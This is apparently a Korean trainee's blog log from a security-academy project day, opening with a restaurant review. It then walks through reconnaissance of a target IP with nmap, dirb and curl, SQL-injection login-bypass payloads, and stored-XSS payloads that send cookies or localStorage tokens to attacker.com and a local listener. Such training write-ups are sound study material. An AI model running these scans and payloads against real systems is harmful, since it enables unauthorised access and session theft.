본문 바로가기
  • 이게 왜 되지...?
시큐리티아카데미 7기 - sk쉴더스트랙/프로젝트

[시큐리티 아카데미 7기 - sk쉴더스 트랙] 프로젝트 8일차 - 2026.04.20

by smisooth 2026. 4. 20.

가게 이름은 뽕의 정석이고용

짬뽕은 걍 쏘쏘

여느 중국집에서 먹는 맛이었음

 

ㄹㅇ 킥은 탕수육이었습니다.

사진은 없는데영

ㄹㅇ 간장에만 찍어먹어도 존맛탱구리구리였습니다.

다들 꼭 탕수육 시키세여

 

 

 

1.  정찰
     1) 포트 및 서비스 스캔
        ① nmap -sV -sC -A [타겟IP]  

            i.  2222/tcp (SSH) – 열림
            ii.  8080/tcp (HTTP) – 열림

    2) 웹 서비스 취약점 기본 스캔
        ① nmap -Pn -p 8080 --script http-enum,http-vuln-* 220.88.200.203
            i.  CVE-2011-3192 (Apache byterange filter DoS) 발견
            ii.  이 취약점은 클라이언트가 서버에 파일의 특정 부분(Range)을 잘게 쪼개서 수없이 많이 요청할 때 발생
        ② nmap -Pn -p 2222 --script ssh-auth-methods,ssh2-enum-algos 220.88.200.203
            i.  인증 방식 : publickey, password (브루트 포스, 사전 공격에 노출 가능)
            ii.  암호화 알고리즘 : ssh2-enum-algos (매우 양호)

    3) 정보 수집 심화
        ① dirb http://220.88.200.203:8080  

            i.  /api/ 디렉터리 (403 Forbidden) : 디렉터리 리스팅은 막혀 있지만, 디렉터리 자체는 존재한다는 뜻

    4) 중요파일 직접 찾기
        ① dirb http://220.88.200.203:8080/ -X .env,.bak,.old,.php,.json  

            i.  딱히 뭔가 안나옴

    5) /assets/ 내부 파일 확인
        ① curl -I http://220.88.200.203:8080/assets/main.js
        ② curl -I http://220.88.200.203:8080/assets/app.js
        ③ curl -I http://220.88.200.203:8080/assets/index.js  

        ④ 모든 요청에 대해 200 OK가 떴지만, Content-Type이 text/html이 나옴
        ⑤ 404 에러 페이지를 보여주는 것임

    6) 실제 Assets 파일명 찾기
        ① curl -s http://220.88.200.203:8080/ | grep -E "src=.*\.js"  

            i.  심봤다~~~
            ii.  타겟 찾았다~~~
        ② 파일을 로컬로 가져오기
            i.  wget http://220.88.200.203:8080/assets/index-D0vJQNnf.js  

        ③ 숨겨진 API 경로 추출
            i.  grep -o "/api/v1/[a-zA-Z0-9/_-]*" index-D0vJQNnf.js | sort -u
                -  빈칸으로 나옴
                -  index-D0vJQNnf.js 파일 안에 /api/v1/이라는 문자열이 직접적으로 기록되어 있지 않다는 뜻임

    7) 웹 기술 스택 파악 (Fingerprinting)
        ① whatweb [타겟URL]  


    8) 실제 경로(posts, write)를 바탕으로 서버의 백엔드 시스템 찔러보기
        ① 게시글 목록 호출 (데이터 노출 확인) 




2.  문제점
    1) 공격을 하면 공격자의 ip가 떠야 하는데 waf ip로 뜸
    2) 특정 공격만 출발지가 WAF IP로 변하고 나머지는 정상으로 뜸
    3) 공격
        curl -X POST http://220.88.200.203:8080/api/v1/posts/search \
             -H "Content-Type: application/json" \       
             -d '{"keyword": "test' OR 1=1 --"}'


3.  SQL Injection: 관리자 계정 탈취
    1) 공격 상황
        ① 로그인 페이지의 ID 입력창에 SQL 구문을 주입하여 인증을 우회

    2) 실행 방법
        ① 로그인 페이지에서 ID에 admin, PW에 1234를 입력하고 Login 버튼을 누릅니다.
        ② Burp Suite에 잡힌 HTTP 패킷을 마우스 우클릭 -> Send to Repeater (Ctrl+R).
        ③ Repeater 탭에서 ID 파라미터 부분을 수정합니다.
            i.  수정 전
                -  {"userName":"admin","password":"1234"}
            ii.  수정 후
                -  {"userName":"admin' -- ", "password":"1234"}  

                -  {"userName":"' OR 1=1 -- ", "password":"1234"}  

                -  {"userName":"' OR 1=1 #", "password":"1234"}  

                -  {"userName":"'/**/OR/**/1=1/**/#", "password":"1234"}  

                -  {"userName": ["admin"], "password":"1234"}  

        ④ Send를 누르고 응답(Response)에서 Welcome Admin 또는 로그인 성공 메시지가 나오는지 확인합니다.

    3) 확인 로그 (Web/DB):
        ① Apache/Nginx Access Log: POST /login.php 요청에 특수문자(', --, #)가 포함된 로그가 기록됨.
        ② DB Query Log: SELECT * FROM users WHERE id='' OR '1'='1' -- ' AND pw='...' 와 같이 비정상적으로 조작된 쿼리 실행 기록.


4.  Stored XSS: 관리자 세션 하이재킹
    1) 공격 상황: 관리자가 읽을 만한 공지사항 게시판에 악성 스크립트를 삽입하여, 관리자의 쿠키(Session ID)를 공격자 서버로 전송시킵니다.

    2) 공격 페이로드: <script>fetch('http://attacker.com/log?c=' + document.cookie);</script> 


    3) 확인 로그 (Web)

        ① 브라우저를 열고 게시물을 읽으니까 맨 밑줄이 뜸
        ② 게시판에 심어둔 자바스크립트가 브라우저에서 실제로 실행됐다는 거임
        ③ 근데 쿠키 값이 비어있음
        ④ 그러니까 다른 곳을 털어보자

    4) 로컬 스토리지 훔치기
        ① <script>fetch("http://192.168.0.70:8000/log?ls=" + JSON.stringify(localStorage));</script>  

            i.  이 서버는 LocalStorage에 저장된 JWT 방식으로 세션관리함